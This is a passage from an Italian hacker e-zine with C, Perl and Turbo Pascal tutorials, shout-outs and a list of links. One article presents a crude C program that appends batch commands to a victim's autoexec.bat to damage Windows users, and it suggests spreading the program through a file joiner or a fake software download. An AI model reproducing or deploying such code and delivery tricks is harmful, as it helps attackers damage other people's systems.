CAZwqKkaFSEXn5PyBgxbXaO9MOFoXmdE3Uknzx2lHalevZK+OTxKHUtWawe5TKDo
ES2qBzBPRsZc39BU
=i+/9
-----END PGP PUBLIC KEY BLOCK-----

"Who controls the past controls the future.
Who controls the present controls the past.
Who controls the present, now?"





|----------------------------------------------------|
|Art. N° <23> : "Crypto tutto con i cicli!" di Marvin|
|----------------------------------------------------|


#########################
MARVIN
mh@altavista.it
#########################

Crypto tutto con i cicli!

Ben ritrovati!Con l'articolo presente proveremo a creare un programma che
cripti un qualsiasi messaggio di
testo.Niente fronzoli come cifratura a chiave pubblica o privata,il nostro
programma cambierà ogni lettera
o numero del nostro messaggio in un carattere corrispondente e lo stamperà su
un file.
MA come faremo?Tutto in cicli!Uno per l'immissione dei caratteri del
messaggio,uno per la directory di
salvataggio del file,uno per la stampa sul file dei caratteri del nostro
messaggio.
Associeremo ad ogni lettera un'altra,ad un numero un'altro e lo stesso con i
simboli:in questo caso ho
assegnato alle lettere minuscole dell'alfabeto le lettere corrispondenti
all'ordine in cui le troviamo
sulla nostra tastiera(o meglio,nella mia...),come a=q,b=w,c=e,ecc...
Inizializzeremo un buffer di caratteri per il nostro messaggio e,con un ciclo
for() contenente l'indice
del buffer(corrispondente al contatore del ciclo) e un'istruzione di scelta
condizionata switch(),
assegneremo le corrispondenze per ogni elemento del buffer.
Intanto avremo aperto un file(ho utilizzato "w" così nel caso il file non
esista viene creato),e man mano
stamperemo ogni carattere sul nostro file.
MA vediamo il codice:

/*****************************************************************************************************/
/*Semplice programma di criptazione di un file*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h> /*libreria per la gestione delle stringhe*/


int main(int argc, char *argv[])
{

char buff[100];
/*dichiaro un buffer di 100 caratteri*/
char salva[100];
/* buffer per la directory di salvataggio */
int i,j;
/*contatori*/
FILE *ptr;
/*puntatore al file che apriremo per scrivere l'output del programma*/
printf("ProvaCrypt by Marvin\n");
printf("Inserisci un messaggio di testo:\n");
for(i=0;(buff[i]=getchar()) != '\n';i++); /*ciclo
di immissione dei caratteri di buff[] */

printf("Directory di salvataggio del file criptato(con relativa
estensione):\n"
);
for(i=0;(salva[i]=getchar()) != '\n';i++); /* ciclo
di immissione della directory di salvataggio */

ptr=fopen(salva,"w");
/*apertura del file tramite il puntatore ptr(pointer)*/
for(j=0;buff[j] != '\0' ;j++)
/*ciclo di sostituzione */
{
switch(buff[j]) /*istruzione simile a
if...else,consente una scelta multipla senza imputtanarsi con cicli
condizionali annidati*/

{
case 'a': /*nel caso buff[i] sia uguale ad a...
*/

fputc('q',ptr); /* ...stampa sul pile (indicato dal
pointer "ptr") la lettera 'q' */

break; /* termina e ricomincia il ciclo */
case 'b':
fputc('w',ptr);
break;
case 'c':
fputc('e',ptr);
break;
case 'd':
fputc('r',ptr);
break;
case 'e':
fputc('t',ptr);
break;
case 'f':
fputc('y',ptr);
break;
case 'g':
fputc('u',ptr);
break;
case 'h':
fputc('i',ptr);
break;
case 'i':
fputc('o',ptr);
break;
case 'j':
fputc('p',ptr);
break;
case 'k':
fputc('a',ptr);
break;
case 'l':
fputc('s',ptr);
break;
case 'm':
fputc('d',ptr);
break;
case 'n':
fputc('f',ptr);
break;
case 'o':
fputc('g',ptr);
break;
case 'p':
fputc('h',ptr);
break;
case 'q':
fputc('j',ptr);
break;
case 'r':
fputc('k',ptr);
break;
case 's':
fputc('l',ptr);
break;
case 't':
fputc('z',ptr);
break;
case 'u':
fputc('x',ptr);
break;
case 'v':
fputc('c',ptr);
break;
case 'w':
fputc('m',ptr);
break;
case 'x':
fputc('v',ptr);
break;
case 'y':
fputc('b',ptr);
break;
case 'z':
fputc('n',ptr);
break;

/* [...] -----> altri "case" per le maiuscole,i numeri e i simboli
*/

}
}
fclose(ptr); /*chiude il file e ne salva i dati */
printf("File criptato con successo!");

return EXIT_SUCCESS;
}

/*********************END*****************************************/

/************************************************************************/

E per il decriptatore?Dovremo ripetere l'operazione al contrario:al posto di
stampare i caratteri sul file
dovremo leggerli uno per uno(ad esempio con un ciclo e l'istruzione fgetc())
finchè non arriviamo a fine
file(definito da EOF-End Of File-),assegnare le corrispondenze e stamparle a
video o su un file.


|-------------------------------------------------------|
|Art. N° <24> : "Usiamo il C per scopi loschi" di Marvin|
|-------------------------------------------------------|


############################
MARVIN
mh@altavista.it
############################


Usiamo il C per scopi loschi

Questo articolo è rivolto a coloro che hanno già un'infarinatura generale di
linguaggio C,dato che vedremo
come utilizzare questo splendido linguaggio per provocare danni ad un utente
che utilizzi l'OS di casa
Microsoft.
In C,come dovreste sapere,è possibile operare sui file,ed eseguire operazioni
come apertura in sola
lettura,in scrittura e in append.Ci serviremo di queste istruzioni(in tutto
una manciata) per costruirci
un rudimentale(troppo!) virus,basato sugli ormai famosi file batch tanto
pericolosi per Windows.Sarebbe
meglio non definire virus quello che creeremo,perchè verrà richiesta
l'immissione di un codice batch da
inserire nel file autoexec.bat.
MAgari vi chiederete perchèmmai non posso inviare direttamente il file batch
per far danni(da buon
lamero);vi rispondo semplicemente che 1)E' troppo sospetto e l'utente non
troppo stupido(non che un .exe
sia insospettabile...) 2)Così è molto più CuUuUuL!
Ma come dobbiamo fare esattamente?Togliendo la parte
della programmazione batch(che dovremo comunque inserire all'interno del
sorgente C),sono poche le
operazioni da fare(precisamente due):
-Aprire il file autoexec.bat in modalià append e scriverei comandi
che vogliamo
-Chiudere il file autoexec.bat
Tutto qui.Ma ora iniziamo.
Prima della creazione del nostro sorgente dovremo includere due header:

<stdio.h> La libreria standard di I/O,con istruzioni quali printf e scanf
<string.h> Libreria che consente la manipolazione delle stringhe,e comprende
funzioni quali
"strlen","strcopy" e "strcmp".
Quindi:

#include <stdio.h>
#include <string.h>

Fatto questo procediamo con la creazione della nostro procedura principale e
la dichiarazione delle
variabili che ci serviranno:

int main(int argc,char *argv[ ])
{
char buff[160];
FILE *fp;
int len;
}

E ora qualche spiegazione: "char buff[160]" crea un vettore che riserva 160
caratteri per l'immissione del
nostro codice batch(se vi servono più caratteri basta aumentare il contenuto
del vettore);
"FILE *fp" è il puntatore al file che apriremo;
"int len" è invece la variabile che ci servirà per verificare la lunghezza
della stringa che varrà
immessa.
Bella lì!Ora che abbiamo dichiarato le nostre variabili procediamo con la
richiesta di immissione di
caratteri e la verifica della lunghezza delle stringa immessa(affinchè non si
verifichi un overflow):

int main(int argc,char *argv[ ])
{
char buff[160] = "stringa di immettere(comandi batch)";
FILE *fp;
int len;

len = strlen(buff);

}

strlen() verifica che la lunghezza della stringa immessa non sia superiore
allo spazio
che le è stato riservato in memoria dal vettore buff[160].
Bene,ora non ci resta altro da fare che aprire il file che desideriamo(qui io
apro l'autoexec.bat,ma
potete aprire qualsiasi file vogliate) e scriverci dentro in modalità
append(cioè in coda alle altre
istruzioni già presenti nel file senza che queste subiscano modifiche)

int main(int argc,char *argv[ ])
{
char buff[160] = "stringa di immettere(comandi batch)";
FILE *fp;
int len;

len = strlen(buff);

fp = fopen("c:\autoexec.bat" , "a");
fwrite(buf, 1 , len , fp);
fclose(fp)
}

fopen() apre il file autoexec.bat in modalità append (a) ,poi vi viene scritto
il contenuto del vettore
buf tramite l'istruzione fwrite.Infine il file viene chiuso(con la garanzia
che i dati inseriti vengano
memorizzati su disco).Ed ecco il sorgente in tutto il suo splendore:

-----------------------------------------
#include <stdio.h>
#include <string.h>

int main(int argc,char *argv[ ])
{
char buff[160]="stringa da immettere(comandi batch)";
FILE *fp;
int len;

len = strlen(buff);

fp = fopen("autoexec.bat" , "a");
fwrite(buf, 1 , len , fp);
fclose(fp)
}

------------------------------------------

Il codice che ci serve è tutto questo.
Naturalmente rimane il problema di come far eseguire il nostro file all'utente
di Win che vogliamo
colpire.Bhè,anche se non è un problema mio,potreste usare un joiner per unire
due eseguibili o un'immagine
con un eseguibile.
Oppure potete inserirlo come un software molto richiesto all'interno di un
sito in modo che venga
scaricato ed eseguito.
Dopotutto,LE RISORSE DEL LAMERO SONO INFINITE!


|----------------------------------------|
|Art. N° <25> : "Guida al Perl" di Marvin|
|----------------------------------------|


#########################
MARVIN
mh@altavista.it
#########################

GUIDA AL PERL

Eccomi di nuovo a scrivere per voi,su comando di M3xican,una approfondita
guida al Perl.Questa guida non pretende di essere un
"vangelo" di questo linguaggio di scripting ,ma solo dare una panoramica
abbastanza approfondita su questo bellissimo (e
soprattutto mooolto utile) linguaggio quale è il Perl.

Introduzione
-----------
Come ho già accennato sopra,il Perl è un linguaggio di scripting,cioè alla sua
nascita non veniva molto preso in considerazione
dato che veniva utilizzato solo per automatizzare operazioni quali trattemento
di stringhe o di testo.
Ora la situazione è cambiata:il Perl è diventato uno strumento indispensabile
per un buon webmaster,ma anche per un
programmatore,dato che non solo è parte integrante degli script CGI che,ad
esempio,si utilizzano nella maggior parte delle volte
per il trattamento di dati immessi nei form,ma anche per fare veri e propri
programmi,tra i quali anche alcune backdoor che
vedremo in seguito...
Il Perl racchiude in se stesso semplicità e duttilità.Dico duttilità perchè
nel Perl non c'è un unico modo
per fare qualcosa,ma ne esistono diversi,in base ad ogni esigenza del
programmatore(vedi il costrutto di
scelta condizionata).
Per questa guida prenderò come dato di fatto alcune cosette semplici semplici:
-Una discreta conoscenza dell'ambiente Unix-Linux e del suo modo di "pensare"
-Avere qualche conoscenza su qualunque linguaggio di programmazione (no,l'HTML
non è un vero
linguaggio...),per sapere almeno che cos'è una variabile o cose del genere
-Voglia.Il Perl o lo ami o lo odi,non esistono vie di mezzo.
Il Processing Estraction Report Language (il Perl appunto) è un linguaggio
interpretato,cioè non viene
tradotto in linguaggio macchina,ma deve essere processato ogni volta dal suo
interprete per essere
eseguito.Non prendete quest'informazione come marginale,perchè è importante
sapere esattamente dove si
trova l'interprete Perl ("which perl" dal vostro emulatore di terminale o da
console),sia se in locale che
in remoto,dato che all'inizio di uno script deve essere sempre indicata la
directory dove è localizzato
l'interprete,ad esempio:

#!/usr/bin/perl

E' l'unico caso in cui ciò che viene scritto dopo il cancelletto (#) viene
tenuto in considerazione.Infatti il cancelletto viene
usato per scrivere commenti su porzioni di listato che non verranno
visualizzati durante l'esecuzione del programma,ma saranno
d'aiuto per eventuali esaminatori del vostro sorgente.
Bene,ora credo che sia il momento di cominciare.

Variabili e Array scalari e
associativi
--------------------------
Una variabile è un elemento che può assumere diversi valori random o assegnati
dall'utente finale o dal programmatore.Per chi ha
già dimistichezza con altri linguaggi di programmazione,come ad esempio il C o
il C++,una variabile generalmente deve essere prima
dichiarata per poter essere usata,ad esempio:

int variabile_1 = 3;

indicandone il tipo (integer,double,booleana,char,ecc...).Nel Perl invece
no.Una variabile,al momento del suo utilizzo,si dichiara
automaticamente.E' l'interprete Perl che decide,in base al valore assegnato
alla variabile,il suo tipo.Una variabile è dotata di
un nome,sempre preceduto dal simbolo $(nel caso sia una variabile scalare) ,
@(nel caso sia un array) oppure da %(in presenza di
un hash) :

$nome della variabile

Ad una variabile possono essere assegnati diversi valori:
-Una stringa di caratteri $variabile1 = "Ciao mondo!";
-Un numero intero $variabile2 = 2;
-Un numero a virgola mobile $variabile3 = 1,56;
-Operazioni con numeri $variabile4 = 2 * 10;
Esistono però alcune variabile definite come "riservate",in quanto hanno già
un valore assegnato a priori:
- $< Visualizza l'UID dell'utente che ha eseguito il programma
- $0 Visualizza il nome del programma

Gli array,come dovreste già sapere se avete esperienza nella
programmazione,sono una sorta di "contenitori" di variabili,in questo
caso variabili scalari.Gli scalari di un array vengono racchiusi tra le
parentesi tonde e sono separati da
virgole.Ecco un esempio di dichiarazione di array:

@array ("ele1" , 3 , "ele3");

Gli elementi di un array sono numerati in modo crescente da 0 in poi;quindi il
primo elemento di un array è l'elemento n° 0,il
secondo il n° 1 e così via.Tenetene conto quando richiamerete un valore di un
array.
Nel momento in cui vogliamo richiamare un elemento di un array,dovremo
necessariamente utilizzare una variabile scalare che abbia
come valore l'array a cui puntiamo(preceduto però dal simbolo $,perchè un
singolo valore dell'array è corrisponde a una variabile
scalare),e all'interno delle parentesi quadre [ ] il numero dell'elemento da
richiamare:

$variabile1 = $array [ 0 ] ;

oppure se vogliamo richiamare più elementi dell'array in questione,dobbiamo
dichiarare un altro array che abbia come valore un
array che contenga tra le [ ] i numeri corrispondenti agli elementi da
prendere in considerazione:

@array2 = @array [ 1, 2 ];

E ora gli array associativi.Un array associativo (d'ora in poi chiamato hash)
è simile ad una array scalare,con l'unica differenza
che il valore di ogni elemento viene indicato all'interno del "contenitore"
dell' hash.Forse è meglio che faccia un esempio:

%hash ( "ele1" , 2 , "ele2" , 3 );
|
L_________
% è il simbolo che contraddistingue l'hash

In questo caso l'elemento 1 (ele1) dell'hash ha valore 2 ,mentre l'elemento 2
(ele2) ha valore 3.
Ma ora forse è meglio che iniziamo a fare qualcosa di concreto.
Ad esempio,vogliamo scrivere uno script che visualizzi alcuni dati immessi
dall'utente,come nome,cognome,età e
professione.Innanzitutto dovremo utilizzare 4 diverse variabili,una per ogni
elemento immesso dall'utente che vogliamo venga
visualizzato.Poi dovremo dire all'interprete di attendere l'immissione di
caratteri da parte dell'utente e stampare queste
informazioni.
E qui nascono due problemi:
1-Come facciamo a dire all'interprete di attendere i dati dell'utente?
2-Come facciamo a stampare dati sullo schermo?
Alla prima domanda la risposta è la seguente:dobbiamo utilizzare un handler
(file sempre aperto durante l'esecuzione del
programma) standard che attende l'immissione di caratteri dalla tastiera.I tre
handler fondamentali sono:
-<STDIN> standard input
-<STDOUT> standard output
-<STDERR> standard error
Per il secondo problema invece,dovremo utilizzare il comando "print" (senza
gli apici),seguito poi dal testo o la variabile da
stampare racchiusi tra virgolette.Ad esempio:

print "La variabile che vogliamo stampare è $var ";

Per il comando print valgono gli stessi attributi per la formattazione del
testo che si possono trovare in altri linguaggi (\n per
mandare a capo ecc...).

Bene,ora scriviamo il nostro primo script in Perl

#!/usr/bin/perl
print " Inserirele proprie generalità:\n";
print "Nome\n;
$nome = <STDIN>;
print "
Cognome:\n";
$cognome = <STDIN>;
print "
Età:\n";
$età = <STDIN>;
print "
Dati inseriti : $nome $cognome , di anni $età";

Potrebbe capitarvi,dopo aver lanciato l'interprete Perl,che lo script non
funzioni.E' un problema legato ai permessi dei file,dato
che il vostro file (ad esempio "
prova.pl") potrebbe non avere permessi di
esecuzione.Basta fare

chmod 755 prova.pl

per abilitare l'utente all'esecuzione dello script.


Operatori
---------
Gli operatori permettono di compiere operazioni tra gli elementi di un
programma,come stringhe o array.Nel Perl esistono due tipi
di operatori,operatori logici e operatori di confronto.
Gli operatori logici permettono di verificare se un'istruzione è vera o
falsa.In generale si dice che un'espressione è falsa
quando ha come risultato 0 o risulta vuota.Gli peratori logici verranno usati
in seguito nei costruti di scelta condizionata
(if...else) o nei costrutti ciclici (while) per verificare se la condizione di
esistenza del costrutto è verificata o meno.

operatore logico simbolo condizione
AND && La condizione è
vera se tutti gli elementi sono veri (es. $a && $b)
OR || La condizione
è vera se almeno uno degli elementi è vero
NOT ! Vera se
l'elemento è falso (es. !$a)

Un operatore di confronto sono di tre tipi:rivolti ai numeri,alle stringhe e
ai nomi.

operatore simbolo tipo
uguale == generico
maggiore > generico
minore < generico
maggiore uguale >= generico
minore uguale <= generico
diverso != generico
uguaglianza eq numeri
minore lt numeri
minore uguale le numeri
maggiore gt numeri
maggiore uguale ge numeri
diverso ne numeri
leggibile -r stringhe (vero se
la variabile $var è leggibile)
scrivibile -w stringhe (vero se
$var è scrivibile)
directory -d stringhe (vero se
$var è una directory)
testo -T stringhe (vero se
$var è un file di testo)
esiste -e stringhe (vero se
$var esiste)
regolare -f stringhe (vero se
$var è un file normale)

Per capire meglio gli operatori di confronto,introduciamo ora il costrutto di
scelta condizionata.


La scelta
condizionata if...else
---------------------
Il costrutto di scelta condizionata è un primo elemento per il controllo del
flusso dei dati.
Eccolo in sintesi:

if (condizione vera) {
fai questo
}
else {
fai quest'altro
}

In questo caso se la condizione che poniamo tra parentesi tonde ( ) risulta
vera,viene eseguita l'istruzione racchiusa tra le
graffe;altrimenti(else) viene eseguita l'istruzione successiva.
In questo caso intervengono i nostri operatori di confronto.Facciamo un
esempio:

#!/ysr/bin/perl
$a = 3; #pone una
variabile con valore 3
print "
Immettere un numero da 0 a 9\n";
$b = <STDIN>; #attende l'immissione
di un numero
if ($a != $b) { #se $a è diverso
da $b allora...
print "
Condizione verificata\n"; #...scrivi condizione
verificata
}
else { #se la
condizione non è verificata...
print "
condizione non verificata"; #scrivi che non si è
verificata
}

Il bello del Perl è che ci possono essere diverse contrazioni dell'istruzione
if,in modo da rendere il codice molto più sintetico
e chiaro.Una delle prime forme di contrazione è l'eliminazione dell'istruzione
else.In questo caso non è necessaria una risposta
(stampare un messaggio sullo schermo,ecc...) nel caso una condizione non si
sia verificata:

if (condizione vera) {
fai questo
}

Questa forma è tipica di molti linguaggi (C/C++,Java,ecc...).Oppure si può
scrivere:

istruzione if condizione es. print "
ciao" if
$a <= $b;

Sempre se non si richiede una risposta in caso di condizione non verificata.
Ok,per oggi può bastare.Prossimamente cercheremo di operare su file e di
interfacciare un programma .pl
con una pagina html (un primitivo CGI).


|------------------------------------------------------------|
|Art. N° <26> : "
Programmare in Turbo Pascal 6" di Anfetamina|
|------------------------------------------------------------|



PROGRAMMARE IN TURBO PASCAL 6
by Anfetamina

PErchè creare un'applicazione in Turbo PAscal(se applicazioni possiamo
chiamare le nostre creaturine...)?
Semplicemente perchè è un'ottima gavetta per un futuro programmatore:semplice
e intuitivo,il TP permette
di creare molti tipi di programma,dal più semplice(vedi 1+1),al più
complesso(vedi trojan,basta sapere
come si apre un socket...).
LA programmazione in TP prevede tre parti distinte:
-Dichiarazione delle funzioni
-Dichiarazione delle variabili
-Algoritmo
Si parte scrivendo il nome del programma:

Program Nomeprog;

Ho messo "
Nomeprog" perchè l'istruzione Program di TP non prevede la presenza
di più di 8 caratteri e
nessuno spazio.Dopo l'istruzione abbiamo messo un "
;":questo permette la
distinzione da parte del
compilatore della fine di un'istruzione.
Ora passiamo alla dichiarazione delle funzioni(moduli):per chi avesse già
confidenza con altri linguaggi
di programmazione(come il C),un modulo del TP è quasi il corrispondente di una
libreria(es <stdio.h> del
C).
Prenderemo in considerazione solo 2 funzioni,che useremo per realizzare il
nostro primo programma:il
video(CRT) e la stampante(PRINTER).Per dichiarare una funzione useremo:

USES funzione;

quindi:

Program Prova;
USES CRT;

Ora passiamo alle variabili:una variabile si dichiara scrivendo:

var nomevariabile : tipo;

"
nomevariabile" corrisponde al nome che assegneremo alla nostra
variabile,mentre "
tipo" è il tipo della
variabile,che può essere:

-STRING : se la variabile contiene una stringa;
-CHAR : se la variabile contiene un carattere;
-INTEGER: se la variabile è numerica e corrisponde ad un numero intero;
-REAL:se la variabile corrisponde ad un numero reale;

Ora dichiaramo una variabile per il nostro programma.Una vaiabile deve sempre
essere dichiarata prima del
corpo del programma,altrimenti non verrà considerata:

Program Prova;
USES CRT;
var risp : string;

E ora il corpo del programma.Al suo interno andranno tutte le istruzioni che
comporranno il
programma(algoritmo).Il corpo è identificato da due istruzioni:

begin
corpo del programma
end.

L'istruzione "
begin" non deve essere chiusa da ";",mentre l'istruzione "end"
deve terminare con un punto(
end.).Ed ecco di nuovo il nostro programma:

Program Prova;
USES CRT;
var risp : string;
begin

end.


Ora vofliamo che il nostro programma legga il contenuto della variabile(deciso
da noi) e lo stampi a
video.Per fare ciò dovremo utilizzare due istruzioni: "
writeln" e
"
readln".Rispettivamente la prima stampa
a video sullo schermo(e manda a capo),mentre la seconda blocca l'esecuzione di
un programma in attesa di
un input dell'utente.Queste due istr hanno la seguente sintassi:

-writeln("
testo",var); dove "testo" è il testo che s vuole
stampare,mentre var e
un'eventuale variabile che
si può stampare a video
-readln(var) ; var è il nome della variabile che
deve memorizzare l'input
dell'utente

Ma torniamo per l'ultima volta al nostro programma:vogliamo che chieda
l'immissione da parte dell'utente
del proprio nome e lo saluti stampandone il nome.Ecco qua:

Program Prova;
USES CRT;
var risp : string;
begin
writeln("
Come ti chiami?");
readln(risp);
writeln("
Buongiorno",risp);
end.

Tutto qui!
Spero di essere stato chiaro,nelle prossime puntate cercheremo di creare
qualcosa di più impegnativo.
Ciao a tutti


written by Anfetamina



############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|-----------------------------|1ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| SALUTI & RINGRAZIAMENTI |0%101ð0101|010:10&101
01*010&101µ01þ010@10101½|-----------------------------|0°1010¢1010@1010"
1010
01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################


Beh, questi non potevano davvero mancare... O no? ;)
Elektro e tutto il suo corpo telematico saluta:

Allora qui trovate tutti i saluti, ringraziamenti e company ai miei amici
smanettoni! Ovviamente, rigorosamente in ordine alfabetico... ;)

Tutti quelli di #hacknitro, #hack, #smanettoni, #hackmaniaci, #hackarena e
anche i pazzi di #drogati che dovrebbero joinare più spesso, tutte le persone
che conosco e tutti quelli che hanno scritto in quest'ezine (in ordine
alfabetico ;-)):

¶HeLLz¥AnGÆL°¹® , ANFETAMINA, BARTX, BIGALEX, BLACK-CAP, BBOYICE, D3FU,
DELILAH, DOMINUS, E4M, ERMAK, HOLYHACK, _KOME_, KORVIN, MARSIO, MEPHISTO,
M3XICAN, N'eMSy, RAPTOR_, RISK, SILDON2K, SNHYPER, THE VAMPIRE, X3L4, XANTHIC,
XPTERMINATOR

Un saluto particolare lo devo mandare anche a tutta la Error404 Crew e ai suoi
membri, di cui da poco ne faccio parte:

Mephisto, Bigalex, Eakon, Cyberdude, X3L4, Quasar, Bredok, Boss, ^Angel^,
Neo81, Netskater, Ciauz, Marsio e ^_][ice][man][_^.

Infine una slinguazzata e un saluto a quella grandissima gnocca che tanto so
che non mi farò mai :-( di nome Megan Gale!! [mi ricorderò sempre di te... A
proposito della tua domanda nella pubblicità... I am well but I would be
better with you to my side ;-))]

Poi la lista sarebbe ancora moooolto lunga ma evito di scrivere qui tutti i
nomi delle gnoccone che esistono a sto' mondo, altrimenti non sarebbe più
un'ezine seria... Ma lo è?! ;)

Uhmm... Se ho dimenticato qualcuno, mi raccomando non offendetevi! Mica sono..
che ne so.. Dopotutto sono umano anch'io!


############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| F U C K |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"
1010
01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################

Rieccoci a questa, forse inutile, parte della ezine.
Anche stavolta saranno citati nomi di tutte quelle persone che mi stanno più
sui coglioni... Anzi, diciamo semplicemente che ho fatto qualche aggiunta... ;)

Fuck......[Loading]......ammazza ma quanto è lunga?!? ihihihihih

- Alla sQuola (immancabile...) e a tutte le istituzioni scolastiche ;)
- Alla GDF: ma quanto rompete le palle...
- Alla Telecoz (un saluto speciale a te lo dovevo fare... ;)): sei la stronza
che fa pagare care le bollette! Porcodio... Io voglio andare su Internet, ma
non ci voglio andare con il contascatti in mano... ihihihih Scherzo raga!
- A tutte le altre compagnie telefoniche... Infostrada, Wind, Omnitel, Blu e
tutte quelle che ho dimenticato...
- Allo Stato.
- Ai politici: per tutte le cazzate che ci dite e che ci promettete e poi fate
sempre come cazzo vi pare e vi fa comodo... Ma un giorno la gente si
risveglierà e capirà che il nostro Stato è governato da una banda di cretini e
allora, forse, scoppierà una Rivoluzione... O almeno lo spero, perchè sono
proprio stanco di vedere i vostri brutti musi alla TV mentre sparate le vostre
puttanate di turno... Va beh, lasciamo perdere che è meglio...
- Tutti quelli che dicono che SOLO la Tim è ladra... Non ho parole ragazzi...
E l'Omnitel forse no? Io ho Omni e pago 1 sms ben 250 £ mentre in molte altre
nazioni d'Europa gli sms si pagano pochissimo o sono TOTALMENTE GRATIS...
Tutte le compagnie sono ladre.. Che cazzo andate a dire solo la Tim... Ma
vaffanculo va...
[okkey mi sono calmato...]
- Tutti quelli che mi rompono i coglioni.
- Tutti quelli che non credono in me e nelle mie capacità.
- I lamer: imparate qualcosa invece di rompere i coglioni alla gente.


############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| D O V E T R O V A R C I |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"
1010
01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################


Potete fare 4 chiacchiere con noi inviandoci semplicemente una mail:

Elektro : teo1987@libero.it
Marvin : mh@altavista.it

Elektro lo potete trovare anche su IRC, su Azzurra:

Server Porta
irc.azzurranet.org 6667
Chan: #hacknitro #hack #smanettoni #hackmaniaci #hackarena

E assieme a me qui su Azzurra troverete i miei amici, anche qualcuno che ha
scritto qui su questa e-zine. NB = Okkio che purtroppo non ci sono tutte le
sere in chat (eheh ho anch'io una mia vita sociale e i miei impegni nonostante
le parecchie ore sul PC ;DD).

############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| INVIARCI UN ARTICOLO |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"
1010
01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################


Come inviare un vostro articolo alla Redazione? Semplice, scrivete alla mail
x-system@email.it, mettendo in allegato il vostro testo. Se io e Marvin lo
giudicheremo un buon testo, lo pubblicheremo qui nell'e-zine. Comunque in ogni
caso vi risponderemo per mail. ;))
Tutto chiaro?
Si.....


############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| LINKS |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"
1010
01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################


Links... Sono più o meno gli stessi che erano presenti nell'uscita precedente
dell'ezine, con qualche aggiunta... Per la prox uscita spero di aggiungerne
molti altri. Sappiate però che volutamente abbiamo cercato di evitare
siti molto famosi (tranne alcuni) e di pubblicizzare un po' di più i siti
dei vecchi amici ;) :

....Underground Site....

-http://www.x-system.cjb.net
Il sito ufficiale della nostra e-zine

-http://members.xoom.it/lelolo
Il sito ufficiale di Marvin

-http://www.error404crew.cjb.net
Questo è da visitare! Per tre motivi:
1) è il sito della crew di cui faccio parte. ;D
2) è interessante.
3) dovete ripagare il lavoro a tutti quelli che hanno lavorato come pazzi a
quel sito per farlo tornare completamente online nel giro di poco tempo... ;-)
E complimenti a X3l4, che ha fatto un ottimo lavoro...

-http://www.bismark.it
Non credo ci sia bisogno di spiegazioni...

-http://www.packetstormsecurity.com
Exploit, patch, security, sito da visitare ogni giorno ;-)

-http://napolihak.da.ru
Sito che tratta di hacking,phreaking,linux,con una sezione abbastanza
fornita di manuali in italiano,traduzioni o in lingua originale

-http://www.quequero.cjb.net
Sito ufficiale di Quequero

-http://www.ilfronte.net
Buon sito,con un forum sempre più in crescendo,e che ospita nientepopodimeno
che Mimmuz e l'ormai latitante MrWolf(scherzo!)

-http://www.raulken.it
Neanche in questo caso non credo ci sia bisogno di spiegazioni...

-http://www.feelinglinux.com
http://www.valtellinux.com
http://www.RedHat.it

-http://www.spippolatori.com
Finalmente ha riaperto...

-http://members.xoom.it/_XOOM/e4zy/nuovo/main.htm
L'Hacking Time di E4zy ;) Davvero un buon sito, peccato che (se non ricordo
male) non viene aggiornato da molto...

-http://digilander.iol.it/kaos
Altro buon sito di Hack. Visitatelo ;)

-http://www.forum-informatico.it
Finalmente BiGA si è deciso a comprare il dominio... ihihih Scherzo...
Comunque bel lavoro quello tuo e di X3l4! Bravi! ;)

-http://www.bartx.cjb.net
Il sito di Bartx, ricco di materiale molto interessante...

-http://digilander.iol.it/Delilahh
Il sito di Delilah, ben fatto e aggiornato. Brava Dely!

-http://www.programmazione.it
Tutto e di + sulla programmazione!

-http://www.html.it
Un sito che dovrebbe interessare tutti i webmaster!

Eccoli tutti qui... Spero di averli scritti tutti giusti ;) e di non avermi
dimenticato di qualche amico che poi mi spenna ;DD
Se volete segnalare il vostro sito, mandate tutto a x-system@email.it e magari
troverete il vostro sito nella prox uscita dell'ezine. ;-)


############################################################################
01§010°1010§101Ø010101µ0101-01;010&101ç0101@01010æ1010101·010ß10¢10]101·0101
0«101@01·01`01010@101*01|----------------------------|01ð01¶01<01010\10101£0
010æ10@10Æ1ß01%01010&10ß| T H E E N D |10%101ð0101|010:10&101
01*010&101µ01þ010@10101½|----------------------------|00°1010¢1010@1010"
1010
01<0101!1010+101"010=101%010?101&01^01'01>01(0101)01|0þ10@10ç1ò010K101X01§01
############################################################################

Ecco conclusa anche la seconda uscita, cioè il numero 1, della X-Sys Ezine! ;)
Come al solito, saluto tutti voi lettori e un Arrivederci al prossimo numero
che uscirà all'incirca a metà maggio (wow... sarà quasi finita la scuola in
quei giorni... ;))!
Ah, vi ricordo che sono graditi i vostri testi, in caso abbiate scritto
qualcosa di interessante e volete pubblicare qui nell'ezine i vostri byte di
